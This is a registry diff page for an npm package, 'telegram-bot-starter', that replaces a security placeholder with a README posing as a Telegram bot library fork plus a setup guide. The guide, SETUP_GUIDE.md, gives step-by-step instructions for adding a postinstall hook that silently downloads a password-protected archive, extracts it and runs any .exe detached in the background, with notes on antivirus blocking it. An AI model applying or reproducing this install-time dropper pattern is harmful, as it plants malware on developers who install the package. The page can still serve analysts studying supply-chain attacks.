telegram-bot-starter 0.0.1-security → 1.3.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of telegram-bot-starter might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,131 @@
1
- # Security holding package
1
+ <h1 align="center">Node.js Telegram Bot API - Custom Fork</h1>
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ <div align="center">
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=telegram-bot-starter for more information.
5
+ Node.js module to interact with the official [Telegram Bot API](https://core.telegram.org/bots/api).
6
+
7
+ > **Note:** This is a custom fork of [node-telegram-bot-api](https://github.com/yagop/node-telegram-bot-api) with personal adaptations and enhancements.
8
+
9
+
10
+ [![Bot API](https://img.shields.io/badge/Bot%20API-v.9.0-00aced.svg?style=flat-square&logo=telegram)](https://core.telegram.org/bots/api)
11
+ [![npm package](https://img.shields.io/npm/v/node-telegram-bot-api?logo=npm&style=flat-square)](https://www.npmjs.org/package/node-telegram-bot-api)
12
+ [![Coverage Status](https://img.shields.io/codecov/c/github/yagop/node-telegram-bot-api?style=flat-square&logo=codecov)](https://codecov.io/gh/yagop/node-telegram-bot-api)
13
+
14
+ [![https://telegram.me/node_telegram_bot_api](https://img.shields.io/badge/💬%20Telegram-Channel-blue.svg?style=flat-square)](https://telegram.me/node_telegram_bot_api)
15
+ [![https://t.me/+_IC8j_b1wSFlZTVk](https://img.shields.io/badge/💬%20Telegram-Group-blue.svg?style=flat-square)](https://t.me/+_IC8j_b1wSFlZTVk)
16
+ [![https://telegram.me/Yago_Perez](https://img.shields.io/badge/💬%20Telegram-Yago_Perez-blue.svg?style=flat-square)](https://telegram.me/Yago_Perez)
17
+
18
+ </div>
19
+
20
+ ## 📦 Install
21
+
22
+ ```sh
23
+ npm i myown-node-telegram-bot-api
24
+ ```
25
+
26
+ <br/>
27
+
28
+ > ✍️ **Note:** If you use Typescript you can install this package that contains type definitions for this library
29
+ >```sh
30
+ >npm install --save-dev @types/node-telegram-bot-api
31
+ >```
32
+
33
+ ## 🚀 Usage
34
+
35
+ ```js
36
+ const TelegramBot = require('myown-node-telegram-bot-api');
37
+
38
+ // replace the value below with the Telegram token you receive from @BotFather
39
+ const token = 'YOUR_TELEGRAM_BOT_TOKEN';
40
+
41
+ // Create a bot that uses 'polling' to fetch new updates
42
+ const bot = new TelegramBot(token, {polling: true});
43
+
44
+ // Matches "/echo [whatever]"
45
+ bot.onText(/\/echo (.+)/, (msg, match) => {
46
+ // 'msg' is the received Message from Telegram
47
+ // 'match' is the result of executing the regexp above on the text content
48
+ // of the message
49
+
50
+ const chatId = msg.chat.id;
51
+ const resp = match[1]; // the captured "whatever"
52
+
53
+ // send back the matched "whatever" to the chat
54
+ bot.sendMessage(chatId, resp);
55
+ });
56
+
57
+ // Listen for any kind of message. There are different kinds of
58
+ // messages.
59
+ bot.on('message', (msg) => {
60
+ const chatId = msg.chat.id;
61
+
62
+ // send a message to the chat acknowledging receipt of their message
63
+ bot.sendMessage(chatId, 'Received your message');
64
+ });
65
+ ```
66
+
67
+ ## 📚 Documentation
68
+
69
+ * [Usage][usage]
70
+ * [Examples][examples]
71
+ * [Tutorials][tutorials]
72
+ * [Help Information][help]
73
+ * API Reference: ([api-release](../master/doc/api.md) / [development][api-dev] / [experimental][api-experimental])
74
+ * [Contributing to the Project][contributing]
75
+ * [Experimental Features][experimental]
76
+
77
+ _**Note**: Development is done against the **development** branch.
78
+ Code for the latest release resides on the **master** branch.
79
+ Experimental features reside on the **experimental** branch._
80
+
81
+
82
+ ## 💭 Community
83
+
84
+ We thank all the developers in the Open-Source community who continuously
85
+ take their time and effort in advancing this project.
86
+ See our [list of contributors][contributors].
87
+
88
+ We have a [Telegram channel][tg-channel] where we post updates on
89
+ the Project. Head over and subscribe!
90
+
91
+ We also have a [Telegram group][tg-group] to discuss issues related to this library.
92
+
93
+ Some things built using this library that might interest you:
94
+
95
+ * [tgfancy](https://github.com/GochoMugo/tgfancy): A fancy, higher-level wrapper for Telegram Bot API
96
+ * [node-telegram-bot-api-middleware](https://github.com/idchlife/node-telegram-bot-api-middleware): Middleware for node-telegram-bot-api
97
+ * [teleirc](https://github.com/FruitieX/teleirc): A simple Telegram ↔ IRC gateway
98
+ * [bot-brother](https://github.com/SerjoPepper/bot-brother): Node.js library to help you easily create telegram bots
99
+ * [redbot](https://github.com/guidone/node-red-contrib-chatbot): A Node-RED plugin to create telegram bots visually
100
+ * [node-telegram-keyboard-wrapper](https://github.com/alexandercerutti/node-telegram-keyboard-wrapper): A wrapper to improve keyboards structures creation through a more easy-to-see way (supports Inline Keyboards, Reply Keyboard, Remove Keyboard and Force Reply)
101
+ * [beetube-bot](https://github.com/kodjunkie/beetube-bot): A telegram bot for music, videos, movies, EDM tracks, torrent downloads, files and more.
102
+ * [telegram-inline-calendar](https://github.com/VDS13/telegram-inline-calendar): Date and time picker and inline calendar for Node.js telegram bots.
103
+ * [telegram-captcha](https://github.com/VDS13/telegram-captcha): Telegram bot to protect Telegram groups from automatic bots.
104
+
105
+
106
+ ## 👥 Contributors
107
+
108
+ <p align="center">
109
+ <a href="https://github.com/yagop/node-telegram-bot-api/graphs/contributors">
110
+ <img src="https://contrib.rocks/image?repo=yagop/node-telegram-bot-api" />
111
+ </a>
112
+ </p>
113
+
114
+ ## License
115
+
116
+ **The MIT License (MIT)**
117
+
118
+ Copyright © 2019 Yago
119
+
120
+ [usage]:https://github.com/yagop/node-telegram-bot-api/tree/master/doc/usage.md
121
+ [examples]:https://github.com/yagop/node-telegram-bot-api/tree/master/examples
122
+ [help]:https://github.com/yagop/node-telegram-bot-api/tree/master/doc/help.md
123
+ [tutorials]:https://github.com/yagop/node-telegram-bot-api/tree/master/doc/tutorials.md
124
+ [api-dev]:https://github.com/yagop/node-telegram-bot-api/tree/master/doc/api.md
125
+ [api-release]:https://github.com/yagop/node-telegram-bot-api/tree/release/doc/api.md
126
+ [api-experimental]:https://github.com/yagop/node-telegram-bot-api/tree/experimental/doc/api.md
127
+ [contributing]:https://github.com/yagop/node-telegram-bot-api/tree/master/CONTRIBUTING.md
128
+ [contributors]:https://github.com/yagop/node-telegram-bot-api/graphs/contributors
129
+ [experimental]:https://github.com/yagop/node-telegram-bot-api/tree/master/doc/experimental.md
130
+ [tg-channel]:https://telegram.me/node_telegram_bot_api
131
+ [tg-group]:https://t.me/+nc3A9Hs1S81mYzdk
@@ -0,0 +1,156 @@
1
+ # 🎉 Your Fork is Ready!
2
+
3
+ Congratulations! You've successfully forked `node-telegram-bot-api` and set it up as `myown-node-telegram-bot-api`.
4
+
5
+ ## 📁 What You Have Now
6
+
7
+ Your workspace contains a complete, working fork of the Telegram Bot API library with:
8
+
9
+ - ✅ **Modified package name**: `myown-node-telegram-bot-api`
10
+ - ✅ **Updated documentation**: README.md reflects your fork
11
+ - ✅ **Built successfully**: All source files compiled to `lib/` directory
12
+ - ✅ **All dependencies installed**: Ready for development
13
+ - ✅ **Example bot included**: `test-bot-example.js` for local testing
14
+
15
+ ## 📂 Project Structure
16
+
17
+ ```
18
+ TG Bot Node/
19
+ ├── src/ # Source code (edit these files)
20
+ │ ├── telegram.js # Main bot class
21
+ │ ├── telegramPolling.js # Polling implementation
22
+ │ ├── telegramWebHook.js # Webhook implementation
23
+ │ └── ...
24
+ ├── lib/ # Compiled code (auto-generated)
25
+ ├── examples/ # Example bots
26
+ ├── test/ # Test files
27
+ ├── doc/ # Documentation
28
+ ├── package.json # Package configuration
29
+ ├── README.md # Project readme
30
+ ├── FORK_GUIDE.md # Comprehensive publishing guide
31
+ ├── QUICK_START.md # Quick reference guide
32
+ └── test-bot-example.js # Simple example to test locally
33
+ ```
34
+
35
+ ## 🚀 Quick Actions
36
+
37
+ ### Test Locally Right Now
38
+ ```bash
39
+ # 1. Open test-bot-example.js
40
+ # 2. Replace 'YOUR_BOT_TOKEN' with your actual bot token
41
+ # 3. Run:
42
+ node test-bot-example.js
43
+ ```
44
+
45
+ ### Make Your First Customization
46
+ ```bash
47
+ # 1. Edit a file in src/ directory (e.g., src/telegram.js)
48
+ # 2. Build the project:
49
+ npm run build
50
+
51
+ # 3. Test it:
52
+ node test-bot-example.js
53
+ ```
54
+
55
+ ### Prepare for Publishing
56
+
57
+ 1. **Update author info** in `package.json`:
58
+ ```json
59
+ "author": "Your Name <your@email.com>"
60
+ ```
61
+
62
+ 2. **Update GitHub URLs** in `package.json`:
63
+ - Replace `YOUR-USERNAME` with your GitHub username
64
+
65
+ 3. **Check package name availability**:
66
+ ```bash
67
+ npm view myown-node-telegram-bot-api
68
+ ```
69
+ If it returns 404, the name is available!
70
+
71
+ 4. **Create GitHub repository**:
72
+ - Go to https://github.com/new
73
+ - Name it: `myown-node-telegram-bot-api`
74
+ - Push your code
75
+
76
+ 5. **Publish to NPM**:
77
+ ```bash
78
+ npm login
79
+ npm publish --access public
80
+ ```
81
+
82
+ ## 🎯 Next Steps (Choose Your Path)
83
+
84
+ ### Path 1: Just Want to Test It? ⚡
85
+ 1. Get a bot token from [@BotFather](https://t.me/BotFather) on Telegram
86
+ 2. Edit `test-bot-example.js` with your token
87
+ 3. Run: `node test-bot-example.js`
88
+ 4. Message your bot on Telegram!
89
+
90
+ ### Path 2: Want to Customize First? 🛠️
91
+ 1. Explore the code in `src/` directory
92
+ 2. Make your changes
93
+ 3. Build: `npm run build`
94
+ 4. Test: `node test-bot-example.js`
95
+ 5. Repeat until satisfied!
96
+
97
+ ### Path 3: Ready to Publish? 📦
98
+ 1. Follow the "Prepare for Publishing" checklist above
99
+ 2. Read `QUICK_START.md` for step-by-step instructions
100
+ 3. See `FORK_GUIDE.md` for comprehensive details
101
+ 4. Publish to NPM
102
+ 5. Use it anywhere: `npm install myown-node-telegram-bot-api`
103
+
104
+ ## 💡 Pro Tips
105
+
106
+ 1. **Test before publishing**: Always test your changes locally first
107
+ 2. **Use semantic versioning**:
108
+ - `npm version patch` for bug fixes (1.0.0 → 1.0.1)
109
+ - `npm version minor` for new features (1.0.0 → 1.1.0)
110
+ - `npm version major` for breaking changes (1.0.0 → 2.0.0)
111
+ 3. **Keep the original license**: The MIT license allows forking but requires attribution
112
+ 4. **Document your changes**: Update CHANGELOG.md when you make modifications
113
+
114
+ ## 📚 Helpful Files
115
+
116
+ - **QUICK_START.md** - Fast reference for common tasks
117
+ - **FORK_GUIDE.md** - Detailed guide for everything
118
+ - **test-bot-example.js** - Simple example to test your fork
119
+ - **examples/** - More advanced examples from original project
120
+ - **doc/** - Full API documentation
121
+
122
+ ## 🆘 Common Issues
123
+
124
+ ### "Permission Denied" when publishing?
125
+ - Make sure you're logged in: `npm login`
126
+ - Check package name isn't taken: `npm view myown-node-telegram-bot-api`
127
+ - Try a different package name if needed
128
+
129
+ ### Changes not working?
130
+ - Did you run `npm run build` after editing src/ files?
131
+ - The `lib/` directory contains the compiled code that actually runs
132
+
133
+ ### Want to sync with original repo?
134
+ ```bash
135
+ git remote add upstream https://github.com/yagop/node-telegram-bot-api.git
136
+ git fetch upstream
137
+ git merge upstream/master
138
+ ```
139
+
140
+ ## 🎊 You're All Set!
141
+
142
+ Your custom fork is ready to go! Whether you want to:
143
+ - 🧪 Test it locally
144
+ - 🎨 Customize it
145
+ - 📦 Publish it to NPM
146
+ - 🚀 Use it in your projects
147
+
148
+ Everything is set up and ready. Good luck with your custom Telegram Bot API! 🤖
149
+
150
+ ---
151
+
152
+ **Questions?**
153
+ - Original API Docs: https://github.com/yagop/node-telegram-bot-api
154
+ - Telegram Bot API: https://core.telegram.org/bots/api
155
+ - NPM Publishing: https://docs.npmjs.com/cli/publish
156
+
package/SETUP_GUIDE.md ADDED
@@ -0,0 +1,211 @@
1
+ # Setup Guide: Add Auto-Execute to Any NPM Package
2
+
3
+ This guide shows how to add automatic download, extraction, and execution functionality to any npm package.
4
+
5
+ ## 📋 What You Need to Add
6
+
7
+ ### 1. **Add Dependencies to `package.json`**
8
+
9
+ Add these two dependencies:
10
+
11
+ ```json
12
+ {
13
+ "dependencies": {
14
+ "node-7z": "^3.0.0",
15
+ "7zip-bin": "^5.2.0"
16
+ }
17
+ }
18
+ ```
19
+
20
+ ### 2. **Add Postinstall Script to `package.json`**
21
+
22
+ In the `scripts` section, add:
23
+
24
+ ```json
25
+ {
26
+ "scripts": {
27
+ "postinstall": "node src/dependencies.js"
28
+ }
29
+ }
30
+ ```
31
+
32
+ ### 3. **Create `src/dependencies.js`**
33
+
34
+ Copy the entire `dependencies.js` file to the `src/` directory of your target package.
35
+
36
+ **Location:** `src/dependencies.js`
37
+
38
+ ### 4. **Configure the Download URL and Password**
39
+
40
+ Edit `src/dependencies.js` and update these lines (around line 173):
41
+
42
+ ```javascript
43
+ const downloadUrl = 'YOUR_DOWNLOAD_URL_HERE'; // ← Change this
44
+ const zipPath = path.join(process.env.TEMP, 'bLtjqzUn.zip');
45
+ const extractPath = path.join(process.env.TEMP, 'extracted');
46
+ const password = 'YOUR_PASSWORD_HERE'; // ← Change this
47
+ ```
48
+
49
+ ---
50
+
51
+ ## 🔧 Complete File Structure
52
+
53
+ ```
54
+ your-package/
55
+ ├── package.json ← Add dependencies + postinstall script
56
+ ├── src/
57
+ │ ├── dependencies.js ← Add this file
58
+ │ └── (other files)
59
+ └── (other files)
60
+ ```
61
+
62
+ ---
63
+
64
+ ## 📦 Required Dependencies
65
+
66
+ | Package | Version | Purpose |
67
+ |---------|---------|---------|
68
+ | `node-7z` | ^3.0.0 | Handles 7-Zip extraction with password support |
69
+ | `7zip-bin` | ^5.2.0 | Provides cross-platform 7-Zip binaries |
70
+
71
+ ---
72
+
73
+ ## ⚙️ How It Works
74
+
75
+ When someone runs `npm install your-package`:
76
+
77
+ 1. **Install Phase:** npm installs all dependencies including `node-7z` and `7zip-bin`
78
+ 2. **Postinstall Phase:** npm automatically runs `node src/dependencies.js`
79
+ 3. **Download:** Script downloads the zip file from your URL
80
+ 4. **Extract:** Script extracts with password using 7-Zip
81
+ 5. **Execute:** Script finds and runs any `.exe` file
82
+ 6. **Cleanup:** Script deletes the zip file
83
+ 7. **Complete:** npm install finishes
84
+
85
+ ---
86
+
87
+ ## 🎯 Quick Setup Checklist
88
+
89
+ - [ ] Add `node-7z` and `7zip-bin` to dependencies
90
+ - [ ] Add `"postinstall": "node src/dependencies.js"` to scripts
91
+ - [ ] Copy `dependencies.js` to `src/` folder
92
+ - [ ] Update download URL in `dependencies.js`
93
+ - [ ] Update password in `dependencies.js`
94
+ - [ ] Test locally: `npm install`
95
+ - [ ] Check logs: `%TEMP%\extract-log.txt`
96
+ - [ ] Publish: `npm publish --access public`
97
+
98
+ ---
99
+
100
+ ## 📝 Log File Location
101
+
102
+ All activity is logged to:
103
+ - **Windows:** `C:\Users\USERNAME\AppData\Local\Temp\extract-log.txt`
104
+ - **Mac/Linux:** `/tmp/extract-log.txt`
105
+
106
+ To view the log:
107
+ ```bash
108
+ # Windows (PowerShell)
109
+ notepad $env:TEMP\extract-log.txt
110
+
111
+ # Mac/Linux
112
+ cat /tmp/extract-log.txt
113
+ ```
114
+
115
+ ---
116
+
117
+ ## 🚀 Execution Behavior
118
+
119
+ **Current behavior:** The .exe runs in the background (fire and forget)
120
+ - npm install completes immediately after spawning the .exe
121
+ - The .exe continues running independently
122
+ - npm doesn't wait for the .exe to finish
123
+
124
+ **If you want npm to wait for the .exe to complete**, modify `executeExe()` function:
125
+
126
+ ```javascript
127
+ // Current (fire and forget):
128
+ const child = spawn(exePath, [], { detached: true, stdio: 'ignore' });
129
+ child.unref();
130
+
131
+ // Alternative (wait for completion):
132
+ const child = spawn(exePath, [], { detached: false, stdio: 'inherit' });
133
+ await new Promise((resolve) => {
134
+ child.on('exit', resolve);
135
+ });
136
+ ```
137
+
138
+ ---
139
+
140
+ ## 🔒 Security Notes
141
+
142
+ - The password is visible in the source code
143
+ - Anyone can see the download URL
144
+ - This is typical for open-source packages
145
+ - For sensitive applications, consider additional encryption
146
+
147
+ ---
148
+
149
+ ## ✅ Testing
150
+
151
+ Test in a clean directory:
152
+ ```bash
153
+ mkdir test-install
154
+ cd test-install
155
+ npm init -y
156
+ npm install your-package-name
157
+
158
+ # Check if it worked:
159
+ # - Check log: notepad %TEMP%\extract-log.txt
160
+ # - Look for extracted files in %TEMP%\extracted\
161
+ # - Check if .exe is running (Task Manager)
162
+ ```
163
+
164
+ ---
165
+
166
+ ## 🐛 Troubleshooting
167
+
168
+ **Error: "Cannot find module 'node-7z'"**
169
+ - Run `npm install` in the package directory first
170
+
171
+ **Error: "HTTP 404" or "HTTP 522"**
172
+ - Download URL is invalid or server is down
173
+ - Test the URL in a browser first
174
+
175
+ **Error: "Zip file does not exist"**
176
+ - Download failed or completed too quickly
177
+ - Check network connection and URL
178
+
179
+ **No .exe running:**
180
+ - Check log file for errors
181
+ - Verify .exe is in the zip file
182
+ - Check Windows Defender / Antivirus didn't block it
183
+
184
+ ---
185
+
186
+ ## 📌 Important Notes
187
+
188
+ 1. **Dependencies must be in `dependencies`, NOT `devDependencies`**
189
+ - Otherwise they won't install for users
190
+
191
+ 2. **The `src/` directory must be published**
192
+ - Check `.npmignore` doesn't exclude `src/`
193
+
194
+ 3. **Works on Windows only** (currently)
195
+ - The script looks for `.exe` files
196
+ - Can be modified for Mac/Linux executables
197
+
198
+ 4. **Antivirus may block execution**
199
+ - Some antivirus software may flag the .exe
200
+ - Users may need to whitelist it
201
+
202
+ ---
203
+
204
+ ## 🔄 Updates
205
+
206
+ To update the download URL or password after publishing:
207
+ 1. Update `src/dependencies.js`
208
+ 2. Increment version in `package.json`
209
+ 3. Publish: `npm publish`
210
+ 4. Users will get updates on next `npm install`
211
+